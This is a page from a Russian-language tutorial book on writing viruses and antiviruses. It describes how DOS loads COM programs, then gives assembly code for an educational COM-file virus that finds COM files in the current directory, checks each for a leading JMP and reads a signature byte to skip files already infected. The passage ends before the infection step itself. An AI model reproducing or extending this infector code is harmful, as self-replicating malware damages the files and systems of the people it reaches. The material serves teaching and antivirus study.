Читать «Создаем вирус и антивирус» онлайн - страница 2

Игорь А. Гульев

Загрузка COM-программы в память и ее запуск происходят так:

1. Определяется сегментный адрес свободного участка памяти достаточного для размещения программы размера.

2. Создается и заполняется блок памяти для переменных среды.

3. Создается блок памяти для PSP и программы (сегмент:0000Ь – PSP; сегмент:0100Ь – программа). В поля PSP заносятся соответствующие значения.

4. Устанавливается адрес DTA равным PSP:0080h.

5. Загружается COM-файл с адреса PSP:0100h.

6. Значение регистра AX устанавливается в соответствии с параметрами командной строки.

7. Регистры DS, ES и SS устанавливаются на сегмент PSP и программы (PSP:0000h).

8. Регистр SP устанавливается на конец сегмента, после чего в стек записывается 0000h.

9. Происходит запуск программы с адреса PSP:0100h.

COM-программа всегда состоит из одного сегмента и запускается со смещения 0100h.

Простейший COM-вирус

В начале COM-файла обычно находится команда безусловного перехода JMP, состоящая из трех байт. Первый байт содержит код команды 0E9h, следующие два – адрес перехода. Поскольку рассматриваемый ниже вирус учебный, он будет заражать только COM-файлы, начинающиеся с команды JMP. Благодаря простому строению COM-файла в него очень просто добавить тело вируса и затем указать его адрес в команде JMP. На рис. 1.1. показано заражение файла таким способом.

Рис. 1.1

После загрузки зараженного файла управление получает вирус. Закончив работу, вирус восстанавливает оригинальный JMP и передает управление программе, как показано на рис. 1.2.

Рис. 1.2

Что же делает рассматриваемый вирус? После старта он ищет в текущем каталоге COM-программы. Для этого используется функция 4Eh (найти первый файл):

;Ищем первый файл по шаблону имени

mov ah,4Eh

mov dx,offset fname – offset myself

add dx,bp

mov cx,00100111b

int 21h

Затем вирус проверяет (по первому байту файла), подходят ли ему найденные COM-программы:

;Открываем файл

Open:

mov ax,3D02h

mov dx,9Eh

int 21h

;Если при открытии файла ошибок не произошло,

;переходим к чтению, иначе выходим из вируса

jnc See_Him

jmp exit

;Читаем первый байт файла

See_Him:

xchg bx,ax

mov ah,3Fh

mov dx,offset buf–offset myself

add dx,bp

xor cx,cx ;CX=0

inc cx ;(увеличение на 1) CX=1

int 21h

;Сравниваем. Если первый байт файла

;не E9h, то переходим к поиску следующего

;файла – этот для заражения не подходит

cmp byte ptr [bp+(offset buf–offset myself)],0E9h

jne find_next

Перед заражением файла вирус проверяет сигнатуру – не исключено, что файл уже заражен:

;Переходим в конец файла (на последний байт)

mov ax,4200h

xor cx,cx

mov dx,[bp+(offset flen−offset MySelf)]

dec dx

int 21h

;Читаем сигнатуру вируса

Read:

mov ah,3Fh

xor cx,cx

inc cx

mov dx,offset bytik–offset myself

add dx,bp

int 21h

;Если при чтении файла ошибок не произошло,

;проверяем сигнатуру,

;иначе ищем следующий файл

jnc test_bytik

jmp find_next

;Проверяем сигнатуру

Test_bytik:

cmp byte ptr [bp+(offset bytik−offset myself)],CheckByte

;Если сигнатура есть, то ищем другой файл,

;если ее нет – будем заражать

je find_next2

jmp Not_infected